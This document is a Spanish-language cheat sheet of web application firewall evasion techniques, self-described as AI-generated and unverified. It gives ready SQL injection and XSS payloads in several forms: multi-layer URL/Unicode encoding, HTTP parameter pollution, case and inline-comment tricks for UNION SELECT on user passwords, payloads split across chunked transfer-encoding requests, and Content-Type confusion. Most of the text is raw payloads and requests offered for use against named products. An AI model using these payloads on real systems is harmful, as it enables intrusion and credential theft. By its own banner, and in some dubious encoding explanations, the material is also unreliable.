⚠️ Contenido generado por IA (deepseek-chat) el 2026-09-03, a partir de conocimiento entrenado — NO es research con fuente verificada (para eso, ver
Investigación/). Verificar detalles críticos (versiones, sintaxis exacta) antes de usar en un engagement real.
1. Encoding múltiple/mixto (URL + HTML + Unicode)
Los WAFs decodifican una vez (o dos). Encadena capas para romper la normalización.
Payload original: ' OR 1=1--
Doble URL encode (SQLi en parámetros GET):
%2527%2520OR%25201%253D1--
(El servidor decodifica %25 -> %, el WAF ve %27 literal y no lo interpreta, la app luego decodifica a ')
Triple URL + Unicode (XSS en header referrer):
%2526%23x27%253Balert%25281%2529%253B%252F%252F
(Decodificación: %25->%, luego %26->&, luego la app parsea ' como HTML entity -> ')
Mixto hex + URL + entity (para payloads en JSON body):
{"q":"\\u0027\\u0020OR\\u00201\\u003D1--"}
Primero la app deserializa JSON (escapes unicode), el WAF no expande \u.
Regla clave: Aplica encoding hasta que el WAF deje de coincidir, pero que la app final aún lo decodifique. Prueba en orden: URL -> Unicode -> HTML entity -> doble URL.
2. HTTP Parameter Pollution (HPP)
Cuando el back-end concatena o toma el último valor, el WAF solo analiza el primero.
Payload original (SQLi en user): user=admin'--
HPP con mismo parámetro repetido (tomando el último en PHP/ASP):
GET /login?user=legit&user=admin'--&pass=x
El WAF ve user=legit y pasa; PHP usa $_GET['user'] = último (admin'--).
HPP con separadores de array:
GET /search?q=ok%5B%5D=1&q%5B%5D=' OR 1=1--
(El WAF ve q[]=1, la app parsea array y usa el índice 1)
HPP en POST (Tomcat/Java usa el primero):
POST /login
user=' OR 1=1-- &user=admin
Java getParameter() devuelve el primero, WAF comúnmente revisa el segundo.
Técnica de ruptura de parser: mezcla & y ; como separadores (algunos frameworks aceptan ambos):
GET /api?user=admin&foo=1;user=' OR '1'='1
3. Manipulación de mayúsculas/minúsculas y comentarios SQL
Aprovecha que casi todos los motores SQL son case-insensitive para keywords, pero los WAF hacen match case-sensitive.
Payload original: UNION SELECT username, password FROM users
Mayúsculas/minúsculas alternadas:
UnIoN SeLeCt UsErNaMe, pAsSwOrD FrOm UsErS
(Evita regex tipo [Uu][Nn][Ii][Oo][Nn] solo si no usan esa forma robusta — muchos no)
Caso extremo con cadenas en hexadecimal:
UNION SELECT 0x757365726E616D65, 0x70617373776F7264 FROM users
Comentarios inline para romper palabras clave (elimina espacios):
UN/**/ION SEL/**/ECT username/**/FROM users
WAF busca union select literal con espacio — esto lo evita. MySQL y PostgreSQL lo soportan.
Comentarios con condición extraña:
' OR 1=1 /*!50000UNION*/ /*!50000SELECT*/ 1,2--
(MySQL internal comment: /*!50000...*/ ejecuta el contenido si la versión >= 5.00, pero el WAF no lo expande)
Combinación key: doble bypass:
/**//*!50000UNION*/ /**//*!50000SELECT*/ username,password FROM users
Nuevas líneas como separador (Oracle usa %0A igual que espacio):
UNION%0ASELECT%0Ausername,password%0AFROM%0Ausers
4. Chunked Transfer Encoding (CTE)
Bypass del análisis de body HTTP en el WAF enviando chunks con tamaños falsos.
Payload original (SQLi en POST): user=' OR 1=1--
CTE simple con chunk offset:
POST /login HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
5
user=
14
' OR 1=1--
0
El WAF buffer hasta ver 0\r\n\r\n, pero muchas veces procesa chunk por chunk sin ensamblar el flujo, viendo solo fragmentos como user= y luego ' OR sin contexto.
CTE con chunk tamaño desproporcionado:
POST /login
Transfer-Encoding: chunked
FFFFFFF0
user=' OR 1=1--
0
El WAF espera más data de la que envía y corta el procesamiento; el servidor web la ensambla igual.
CTE con múltiples chunks y terminador null en medio:
POST /login
Transfer-Encoding: chunked
1
u
A
ser='
A
OR
A
1=1--
0
CTE + Trocear el payload entre chunks para evitar firma completa:
Transfer-Encoding: chunked
2
us
1
er=
3
' O
3
R 1
4
=1--
0
Nota: Enviar via curl -H 'Transfer-Encoding: chunked' --data-binary @file — curl no genera CTE automáticamente, usa netcat o socat para control exacto.
5. Confusión de Content-Type
Manipula el mimetype para que el WAF no aplique las reglas de body/sql/xss.
Payload original XSS: <script>alert(1)</script>
Contenido en JSON pero declarado como XML:
POST /api
Content-Type: application/xml
{"param":"<script>alert(1)</script>"}
WAF con perfil XML lo parsea como XML inválido y lo pasa, pero la app JSON.parse igual lo procesa.
Cambiar de application/json a multipart/form-data con un campo que contenga el payload:
POST /api
Content-Type: multipart/form-data; boundary=abc123
--abc123
Content-Disposition: form-data; name="data"
{"user":"<script>alert(1)</script>"}
--abc123--
Muchos WAFs solo aplican reglas SQLi/XSS al application/json o application/x-www-form-urlencoded, no dentro de multipart.
Charger el charset para evadir decodificación de bytes:
Content-Type: application/x-www-form-urlencoded; charset=ibm037
payload=%5C'%5C%20OR%5C%201%5C%3D1--
(Codificado en EBCDIC — la app lo decodifica, el WAF asume UTF-8 y no matchea)
Usar Content-Type: text/plain con body SQLi:
POST /login
Content-Type: text/plain
user=' OR 1=1--
Solo funciona si la app fuerza el parser o si usa $_POST multi-propósito (Python Flask con request.get_data()).
Doble Content-Type (splitter en algunos proxies):
Content-Type: application/json; boundary=x
Content-Type: application/x-www-form-urlencoded
{"a":"' OR 1=1--"}
Algunos WAF toman el último header, el proxy reenvía ambos pero la app usa el primero (o viceversa).
Notas finales de ejecución
Prueba estas variantes siempre de menor a mayor agresividad. Usa curl -H para headers, printf + nc para CTE manual. Documenta qué técnica funciona contra qué producto (mod_security, Cloudflare, AWS WAF, F5) porque el comportamiento varía: Cloudflare normaliza CTE antes de analizar, pero mod_security no ensambla chunks en streaming por defecto. Verifica el parámetro que usas: en Express/Node, req.query es un objeto — no sirve HPP clásico; en Laravel (PHP), el último valor gana; en ASP.NET, concatenación con comas. Adapta la técnica a la tecnología del back-end. También combina técnicas: CTE + payload en mayúsculas + comentarios internos es la secuencia que suele romper el análisis multi-capa.
Relacionado
- [[_Cheatsheets — índice]]